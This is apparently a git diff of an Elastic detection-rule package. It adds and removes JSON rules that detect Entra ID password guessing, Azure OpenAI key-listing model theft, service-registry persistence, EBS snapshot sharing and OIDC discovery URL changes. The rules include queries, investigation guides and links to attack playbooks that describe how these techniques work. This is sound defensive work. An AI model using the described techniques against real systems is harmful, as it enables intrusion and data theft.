Esql.azure_signinlogs_properties_risk_detail_values,\n Esql.azure_signinlogs_properties_status_error_code_values,\n Esql.azure_signinlogs_properties_original_request_id_values,\n Esql.user_id_values\n", + "references": [ + "https://www.oasis.security/resources/blog/oasis-security-research-team-discovers-microsoft-azure-mfa-bypass", + "https://learn.microsoft.com/en-us/entra/identity/", + "https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins" + ], + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_authentication_protocol_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_authentication_requirement_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_client_app_used_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_client_credential_type_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_conditional_access_status_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_correlation_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_is_interactive_values", + "type": "boolean" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_mfa_detail_auth_method_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_original_request_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_risk_detail_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_risk_state_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_session_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_status_error_code_values", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_tenant_id_valuues", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_address_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.user_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql_priv.azure_identity_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql_priv.azure_signinlogs_properties_user_principal_name_values", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "3fac01b2-b811-11ef-b25b-f661ea17fbce", + "setup": "#### Required Entra ID Sign-In Logs\nThis rule requires the Entra ID sign-in logs via the Azure integration be enabled. In Entra ID, sign-in logs must be enabled and streaming to the Event Hub used for the Entra ID logs integration.\n", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: Identity", + "Data Source: Azure", + "Data Source: Entra ID", + "Data Source: Entra ID Sign-in logs", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.001", + "name": "Password Guessing", + "reference": "https://attack.mitre.org/techniques/T1110/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "3fac01b2-b811-11ef-b25b-f661ea17fbce_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/4021e78d-5293-48d3-adee-a70fa4c18fab_4.json b/packages/security_detection_engine/kibana/security_rule/4021e78d-5293-48d3-adee-a70fa4c18fab_4.json new file mode 100644 index 00000000000..84483f48664 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/4021e78d-5293-48d3-adee-a70fa4c18fab_4.json @@ -0,0 +1,68 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Monitors for suspicious activities that may indicate theft or unauthorized duplication of machine learning (ML) models, such as unauthorized API calls, atypical access patterns, or large data transfers that are unusual during model interactions.", + "false_positives": [ + "Authorized model training", + "Legitimate high volume data exchanges during scheduled updates" + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Azure OpenAI Model Theft", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Azure OpenAI Model Theft\n\nAzure OpenAI models are integral to many applications, providing advanced machine learning capabilities. Adversaries may exploit these models by making unauthorized API calls or transferring large volumes of data, potentially indicating model theft. The detection rule identifies such threats by monitoring audit logs for unusual access patterns or excessive data transfers, flagging activities that deviate from normal usage.\n\n### Possible investigation steps\n\n- Review the audit logs for the specific resource group and resource name flagged in the alert to understand the context of the access patterns.\n- Analyze the timestamps associated with the suspicious activities to determine if they align with known operational periods or if they occur during unusual times.\n- Investigate the source of the API calls by identifying the IP addresses or user accounts involved in the \"ListKey\" operations to determine if they are authorized or known entities.\n- Examine the response length data to assess whether the volume of data transferred is consistent with legitimate use cases or if it suggests potential data exfiltration.\n- Cross-reference the flagged activities with other security logs or alerts to identify any correlated suspicious behavior or potential indicators of compromise.\n\n### False positive analysis\n\n- High-frequency legitimate API calls from automated scripts or applications may trigger the rule. Users can create exceptions for known scripts by identifying their specific access patterns and excluding them from the rule.\n- Large data transfers during scheduled model updates or backups can be mistaken for suspicious activity. Users should whitelist these operations by correlating them with scheduled maintenance windows or known update events.\n- Regular access by trusted internal teams for model evaluation or testing might appear as atypical patterns. Users can mitigate this by maintaining a list of authorized personnel and their expected access behaviors, then excluding these from the alert criteria.\n- Integration with other Azure services that require frequent access to OpenAI models could generate false positives. Users should document these integrations and adjust the rule to recognize and exclude these legitimate interactions.\n\n### Response and remediation\n\n- Immediately isolate the affected Azure resources by restricting network access to prevent further unauthorized API calls or data transfers.\n- Revoke and regenerate API keys associated with the compromised Azure OpenAI resources to prevent further unauthorized access.\n- Conduct a thorough review of audit logs to identify any additional unauthorized access attempts or data transfers, and document all findings for further analysis.\n- Notify the security operations team and relevant stakeholders about the potential model theft incident to ensure coordinated response efforts.\n- Implement additional monitoring on the affected resources to detect any further suspicious activities, focusing on access patterns and data transfer volumes.\n- Escalate the incident to the organization's incident response team for a comprehensive investigation and to determine if any data exfiltration occurred.\n- Review and update access controls and permissions for Azure OpenAI resources to ensure they adhere to the principle of least privilege, reducing the risk of future unauthorized access.\n", + "query": "from logs-azure_openai.logs-*\n| where\n azure.open_ai.operation_name == \"ListKey\" and\n azure.open_ai.category == \"Audit\"\n| keep\n @timestamp,\n azure.open_ai.operation_name,\n azure.open_ai.category,\n azure.resource.group,\n azure.resource.name,\n azure.open_ai.properties.response_length\n| stats\n Esql.event_count = count(*),\n Esql.azure_open_ai_properties_response_length_max = max(azure.open_ai.properties.response_length)\n by\n azure.resource.group,\n azure.resource.name\n| where\n Esql.event_count >= 100 or\n Esql.azure_open_ai_properties_response_length_max >= 1000000\n| sort\n Esql.event_count desc\n", + "references": [ + "https://genai.owasp.org/llmrisk/llm10-model-theft", + "https://atlas.mitre.org/techniques/AML.T0044" + ], + "related_integrations": [ + { + "package": "azure_openai", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.azure_open_ai_properties_response_length_max", + "type": "double" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "azure.resource.group", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.resource.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "4021e78d-5293-48d3-adee-a70fa4c18fab", + "setup": "## Setup\n\nFor more information on\nstreaming events, see the Azure OpenAI documentation:\n\nhttps://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs\n", + "severity": "medium", + "tags": [ + "Domain: LLM", + "Data Source: Azure OpenAI", + "Data Source: Azure Event Hubs", + "Use Case: Model Theft", + "Mitre Atlas: T0044", + "Resources: Investigation Guide" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "4021e78d-5293-48d3-adee-a70fa4c18fab_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/403ef0d3-8259-40c9-a5b6-d48354712e49_312.json b/packages/security_detection_engine/kibana/security_rule/403ef0d3-8259-40c9-a5b6-d48354712e49_312.json deleted file mode 100644 index 6a65520da5c..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/403ef0d3-8259-40c9-a5b6-d48354712e49_312.json +++ /dev/null @@ -1,137 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies processes modifying the services registry key directly, instead of through the expected Windows APIs. This could be an indication of an adversary attempting to stealthily persist through abnormal service creation or modification of an existing service.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.registry-*", - "endgame-*", - "logs-windows.sysmon_operational-*", - "winlogbeat-*", - "logs-m365_defender.event-*", - "logs-sentinel_one_cloud_funnel.*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Unusual Persistence via Services Registry", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual Persistence via Services Registry\n\nWindows services are crucial for running background processes. Adversaries may exploit this by directly altering service registry keys to maintain persistence, bypassing standard APIs. The detection rule identifies such anomalies by monitoring changes to specific registry paths and filtering out legitimate processes, thus highlighting potential unauthorized service modifications indicative of malicious activity.\n\n### Possible investigation steps\n\n- Review the specific registry paths and values that triggered the alert, focusing on \"ServiceDLL\" and \"ImagePath\" within the specified registry paths to identify any unauthorized or suspicious modifications.\n- Examine the process responsible for the registry change, paying attention to the process name and executable path, to determine if it is a known legitimate process or potentially malicious.\n- Cross-reference the process executable path against the list of known legitimate paths excluded in the query to ensure it is not a false positive.\n- Investigate the historical behavior of the process and any associated files or network activity to identify patterns indicative of malicious intent or persistence mechanisms.\n- Check for any recent changes or anomalies in the system's service configurations that could correlate with the registry modifications, indicating potential unauthorized service creation or alteration.\n- Consult threat intelligence sources or databases to determine if the process or registry changes are associated with known malware or adversary techniques.\n\n### False positive analysis\n\n- Legitimate software installations or updates may modify service registry keys directly. Users can create exceptions for known software update processes by excluding their executables from the detection rule.\n- System maintenance tools like Process Explorer may trigger false positives when they interact with service registry keys. Exclude these tools by adding their process names and paths to the exception list.\n- Drivers installed by trusted hardware peripherals might alter service registry keys. Users should identify and exclude these driver paths if they are known to be safe and frequently updated.\n- Custom enterprise applications that require direct registry modifications for service management can be excluded by specifying their executable paths in the rule exceptions.\n- Regular system processes such as svchost.exe or services.exe are already excluded, but ensure any custom scripts or automation tools that mimic these processes are also accounted for in the exceptions.\n\n### Response and remediation\n\n- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary.\n- Terminate any suspicious processes identified in the alert that are not part of legitimate applications or services.\n- Restore the modified registry keys to their original state using a known good backup or by manually correcting the entries to ensure the integrity of the service configurations.\n- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious software or artifacts.\n- Review and update endpoint protection policies to ensure that similar unauthorized registry modifications are detected and blocked in the future.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected.\n- Document the incident details, including the steps taken for containment and remediation, to enhance future response efforts and update threat intelligence databases.", - "query": "registry where host.os.type == \"windows\" and event.type == \"change\" and\n registry.value : (\"ServiceDLL\", \"ImagePath\") and\n registry.path : (\n \"HKLM\\\\SYSTEM\\\\ControlSet*\\\\Services\\\\*\\\\ServiceDLL\",\n \"HKLM\\\\SYSTEM\\\\ControlSet*\\\\Services\\\\*\\\\ImagePath\",\n \"\\\\REGISTRY\\\\MACHINE\\\\SYSTEM\\\\ControlSet*\\\\Services\\\\*\\\\ServiceDLL\",\n \"\\\\REGISTRY\\\\MACHINE\\\\SYSTEM\\\\ControlSet*\\\\Services\\\\*\\\\ImagePath\",\n \"MACHINE\\\\SYSTEM\\\\ControlSet*\\\\Services\\\\*\\\\ServiceDLL\",\n \"MACHINE\\\\SYSTEM\\\\ControlSet*\\\\Services\\\\*\\\\ImagePath\"\n ) and not registry.data.strings : (\n \"?:\\\\windows\\\\system32\\\\Drivers\\\\*.sys\",\n \"\\\\SystemRoot\\\\System32\\\\drivers\\\\*.sys\",\n \"\\\\??\\\\?:\\\\Windows\\\\system32\\\\Drivers\\\\*.SYS\",\n \"\\\\??\\\\?:\\\\Windows\\\\syswow64\\\\*.sys\",\n \"system32\\\\DRIVERS\\\\USBSTOR\") and\n not (process.name : \"procexp??.exe\" and registry.data.strings : \"?:\\\\*\\\\procexp*.sys\") and\n not process.executable : (\n \"?:\\\\Program Files\\\\*.exe\",\n \"?:\\\\Program Files (x86)\\\\*.exe\",\n \"?:\\\\Windows\\\\System32\\\\svchost.exe\",\n \"?:\\\\Windows\\\\winsxs\\\\*\\\\TiWorker.exe\",\n \"?:\\\\Windows\\\\System32\\\\drvinst.exe\",\n \"?:\\\\Windows\\\\System32\\\\services.exe\",\n \"?:\\\\Windows\\\\System32\\\\msiexec.exe\",\n \"?:\\\\Windows\\\\System32\\\\regsvr32.exe\",\n \"?:\\\\Windows\\\\System32\\\\WaaSMedicAgent.exe\"\n )\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^9.0.0" - }, - { - "package": "windows", - "version": "^2.5.0" - }, - { - "package": "m365_defender", - "version": "^2.22.0" - }, - { - "package": "sentinel_one_cloud_funnel", - "version": "^1.9.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.executable", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "registry.data.strings", - "type": "wildcard" - }, - { - "ecs": true, - "name": "registry.path", - "type": "keyword" - }, - { - "ecs": true, - "name": "registry.value", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "403ef0d3-8259-40c9-a5b6-d48354712e49", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Persistence", - "Tactic: Defense Evasion", - "Data Source: Elastic Endgame", - "Data Source: Elastic Defend", - "Data Source: Sysmon", - "Data Source: Microsoft Defender for Endpoint", - "Data Source: SentinelOne", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1543", - "name": "Create or Modify System Process", - "reference": "https://attack.mitre.org/techniques/T1543/", - "subtechnique": [ - { - "id": "T1543.003", - "name": "Windows Service", - "reference": "https://attack.mitre.org/techniques/T1543/003/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1112", - "name": "Modify Registry", - "reference": "https://attack.mitre.org/techniques/T1112/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 312 - }, - "id": "403ef0d3-8259-40c9-a5b6-d48354712e49_312", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/4182e486-fc61-11ee-a05d-f661ea17fbce_8.json b/packages/security_detection_engine/kibana/security_rule/4182e486-fc61-11ee-a05d-f661ea17fbce_8.json new file mode 100644 index 00000000000..bee3e2cfe8e --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/4182e486-fc61-11ee-a05d-f661ea17fbce_8.json @@ -0,0 +1,109 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots contain copies of data volumes that may include sensitive or regulated information. Adversaries may exploit ModifySnapshotAttribute to share snapshots with external accounts or the public, allowing them to copy and access data in an environment they control. This activity often precedes data exfiltration or persistence operations, where the attacker transfers stolen data out of the victim account or prepares a staging area for further exploitation.", + "event_category_override": "event.type", + "false_positives": [ + "AMI sharing is a common practice in AWS environments. Ensure that the sharing is authorized before taking action." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "target.entity.id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "eql", + "license": "Elastic License v2", + "name": "AWS EC2 EBS Snapshot Shared or Made Public", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS EC2 EBS Snapshot Shared or Made Public\n\nThis rule detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots store copies of data volumes that may contain sensitive or regulated information. Adversaries may exploit the `ModifySnapshotAttribute` API to share these snapshots externally, allowing them to copy and access the data in an environment they control. This activity is commonly associated with data exfiltration or persistence techniques, where attackers transfer data outside the victim account or prepare backups they can later retrieve. Public sharing (`group=all`) represents a severe data exposure risk, as it makes the snapshot globally readable.\n\n#### Possible investigation steps:\n\n- **Identify who performed the action**: Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who modified the snapshot\u2019s permissions. Evaluate whether this identity is authorized to share EBS snapshots (check IAM policies for `ec2:ModifySnapshotAttribute`).\n- **Analyze the source of the request**: Examine `source.ip` and `source.geo` fields to determine the geographical origin of the request. An unfamiliar or external location may indicate compromised credentials or unauthorized access. Review `user_agent.original` to confirm whether the request originated from an expected administrative tool or host.\n- **Examine the scope of the change**:\n - Review `aws.cloudtrail.request_parameters` to determine which AWS account(s) were added to the `createVolumePermission` list. \n - If the account ID matches the snapshot owner\u2019s account, this is redundant and typically non-malicious. \n - If another account ID or `group=all` appears, verify whether the target is an approved AWS Organization account or an external party. \n - Cross-check the affected `snapshotId` in the AWS console or via CLI (`describe-snapshot-attribute`) to confirm current sharing status. \n - Identify whether other snapshots or AMIs were shared in the same timeframe.\n- **Correlate with other activities**:\n - Search CloudTrail for related events involving the same actor or `source.ip`. \n - Look for `CreateSnapshot`, `CopySnapshot`, `ExportImage`, or `PutBucketAcl` events that could indicate broader exfiltration or replication behavior. \n - Correlate with detections such as `EBS Snapshot Access Removed` or `EBS Encryption Disabled`, which may signal a coordinated campaign involving both exfiltration and impact. \n - Check GuardDuty and Security Hub for findings related to data exposure, cross-account sharing, or unauthorized data transfer.\n- **Evaluate timing and intent**: Compare `@timestamp` against scheduled maintenance or approved change windows. Actions performed outside business hours or without documented change tickets should be prioritized for review.\n\n### False positive analysis:\n\n- **Authorized internal sharing**: Confirm if the snapshot sharing was part of an approved workflow, such as internal replication or migration between AWS Organization accounts. \n- **Automated replication or tooling**: Infrastructure-as-code or backup automation may temporarily share snapshots for cross-region or cross-account transfers. Verify automation identifiers, source IPs, and tags. \n- **Self-account addition**: Adding the owner\u2019s own account ID to `createVolumePermission` has no operational impact and can be safely ignored. \n\nIf verified as legitimate, document the event under change management and reconcile it against organizational policies for snapshot sharing.\n\n### Response and remediation:\n\n**1. Containment and validation**\n- If unauthorized, immediately remove added permissions using the AWS CLI: \n `aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission \"Remove=[{UserId=}]\"` \n- Revoke public sharing (`group=all`) to prevent external access. \n- Restrict `ec2:ModifySnapshotAttribute` permissions to trusted administrative roles only.\n**2. Investigate for data exfiltration or persistence**\n- Determine whether the shared snapshot was copied to another account (`CopySnapshot`). \n- Engage AWS Support if evidence suggests external copying or data theft. \n- Review subsequent API calls or IAM changes for further persistence or data movement.\n**3. Strengthen detection and monitoring**\n- Enable AWS Config rules such as `ebs-snapshot-public-restorable-check`. \n- Implement continuous monitoring for `ModifySnapshotAttribute` and `CopySnapshot` operations. \n- Correlate future detections by actor, access key, and source IP to identify repeated or automated exfiltration attempts.\n**4. Recovery and hardening**\n- Enable default encryption and validate that all snapshots remain private. \n- Apply Service Control Policies (SCPs) to prevent public snapshot sharing organization-wide. \n- Audit existing snapshots to ensure no others have unauthorized permissions. \n- Implement least-privilege IAM principles and enforce multi-factor authentication (MFA) for administrative accounts.\n\n### Additional information\n\n- **[AWS Incident Response Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)**: reference playbooks for investigating data exfiltration and unauthorized access. \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/)**: example framework for developing custom playbooks for snapshot configuration and data protection. \n- **AWS Documentation** \n - [EBS Snapshot Permissions](https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html) \n - [ModifySnapshotAttribute API Reference](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html) \n", + "query": "info where event.dataset == \"aws.cloudtrail\" \n and event.action == \"ModifySnapshotAttribute\"\n and event.outcome == \"success\"\n and stringContains (aws.cloudtrail.request_parameters, \"attributeType=CREATE_VOLUME_PERMISSION\")\n and stringContains (aws.cloudtrail.request_parameters, \"add=\")\n", + "references": [ + "https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html", + "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump", + "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.request_parameters", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "4182e486-fc61-11ee-a05d-f661ea17fbce", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS EC2", + "Use Case: Threat Detection", + "Tactic: Exfiltration", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0010", + "name": "Exfiltration", + "reference": "https://attack.mitre.org/tactics/TA0010/" + }, + "technique": [ + { + "id": "T1537", + "name": "Transfer Data to Cloud Account", + "reference": "https://attack.mitre.org/techniques/T1537/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 8 + }, + "id": "4182e486-fc61-11ee-a05d-f661ea17fbce_8", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/498e4094-60e7-11f0-8847-f661ea17fbcd_5.json b/packages/security_detection_engine/kibana/security_rule/498e4094-60e7-11f0-8847-f661ea17fbcd_5.json new file mode 100644 index 00000000000..d749a41a012 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/498e4094-60e7-11f0-8847-f661ea17fbcd_5.json @@ -0,0 +1,143 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects a change to the OpenID Connect (OIDC) discovery URL in the Entra ID Authentication Methods Policy. This behavior may indicate an attempt to federate Entra ID with an attacker-controlled identity provider, enabling bypass of multi-factor authentication (MFA) and unauthorized access through bring-your-own IdP (BYOIDP) methods.", + "from": "now-9m", + "interval": "8m", + "language": "esql", + "license": "Elastic License v2", + "name": "OIDC Discovery URL Changed in Entra ID", + "note": "## Triage and analysis\n\n### Investigating OIDC Discovery URL Changed in Entra ID\n\nThis rule detects when the OIDC `discoveryUrl` is changed within the Entra ID Authentication Methods policy. Adversaries may leverage this to federate Entra ID with a rogue Identity Provider (IdP) under their control, allowing them to authenticate users with attacker-owned credentials and bypass MFA. This misconfiguration allows an attacker to impersonate valid users by issuing tokens via a third-party OIDC IdP while still passing validation in Entra ID. This technique has been publicly demonstrated and has critical implications for trust in federated identity.\n\n### Possible investigation steps\n- Review `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and `ipAddress` to identify who made the change and from where.\n- Examine the `old_oidc_discovery` and `new_oidc_discovery` to confirm if the new `discoveryUrl` points to an unexpected or untrusted IdP.\n- Check that the discovery URLs have `.well-known/openid-configuration` endpoints, which are standard for OIDC providers.\n- Use `azure.auditlogs.properties.correlation_id` to pivot to related changes and activity from the same session.\n- Review any subsequent sign-in activity that may have originated from the new IdP.\n- Pivot to additional logs associated with the user or application that made the change to identify any further suspicious activity.\n\n### False positive analysis\n- Entra ID administrators may intentionally reconfigure OIDC trust relationships to support new business requirements.\n- Validate any changes with the identity or security operations team before taking action.\n\n### Response and remediation\n- If the change is unauthorized, immediately revert the discovery URL to the trusted IdP via the Entra ID portal.\n- Revoke tokens or sessions issued after the configuration change.\n- Investigate how the unauthorized change occurred (e.g., compromised account or over-privileged app).\n- Apply conditional access policies and change control procedures to protect IdP configuration changes.\n", + "query": "from logs-azure.auditlogs-* metadata _id, _version, _index\n| where event.action == \"Authentication Methods Policy Update\"\n| eval Esql.azure_auditlogs_properties_target_resources_modified_properties_new_value_replace = replace(`azure.auditlogs.properties.target_resources.0.modified_properties.0.new_value`, \"\\\\\\\\\", \"\")\n| eval Esql.azure_auditlogs_properties_target_resources_modified_properties_old_value_replace = replace(`azure.auditlogs.properties.target_resources.0.modified_properties.0.old_value`, \"\\\\\\\\\", \"\")\n| dissect Esql.azure_auditlogs_properties_target_resources_modified_properties_new_value_replace \"%{}discoveryUrl\\\":\\\"%{Esql.azure_auditlogs_properties_auth_oidc_discovery_url_new}\\\"}%{}\"\n| dissect Esql.azure_auditlogs_properties_target_resources_modified_properties_old_value_replace \"%{}discoveryUrl\\\":\\\"%{Esql.azure_auditlogs_properties_auth_oidc_discovery_url_old}\\\"}%{}\"\n| where Esql.azure_auditlogs_properties_auth_oidc_discovery_url_new is not null and Esql.azure_auditlogs_properties_auth_oidc_discovery_url_old is not null\n| where Esql.azure_auditlogs_properties_auth_oidc_discovery_url_new != Esql.azure_auditlogs_properties_auth_oidc_discovery_url_old\n| keep\n @timestamp,\n event.action,\n event.outcome,\n azure.tenant_id,\n azure.correlation_id,\n azure.auditlogs.properties.activity_datetime,\n azure.auditlogs.properties.operation_type,\n azure.auditlogs.properties.initiated_by.user.userPrincipalName,\n azure.auditlogs.properties.initiated_by.user.displayName,\n azure.auditlogs.properties.initiated_by.user.ipAddress,\n source.geo.city_name,\n source.geo.region_name,\n source.geo.country_name,\n Esql.azure_auditlogs_properties_auth_oidc_discovery_url_new,\n Esql.azure_auditlogs_properties_auth_oidc_discovery_url_old\n", + "references": [ + "https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/" + ], + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "@timestamp", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.azure_auditlogs_properties_auth_oidc_discovery_url_new", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_auditlogs_properties_auth_oidc_discovery_url_old", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.activity_datetime", + "type": "date" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.user.displayName", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.user.ipAddress", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.user.userPrincipalName", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.operation_type", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.correlation_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.tenant_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.city_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.country_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.region_name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "498e4094-60e7-11f0-8847-f661ea17fbcd", + "severity": "high", + "tags": [ + "Domain: Cloud", + "Domain: Identity", + "Data Source: Azure", + "Data Source: Microsoft Entra ID", + "Data Source: Microsoft Entra ID Audit Logs", + "Use Case: Identity and Access Audit", + "Tactic: Persistence", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": 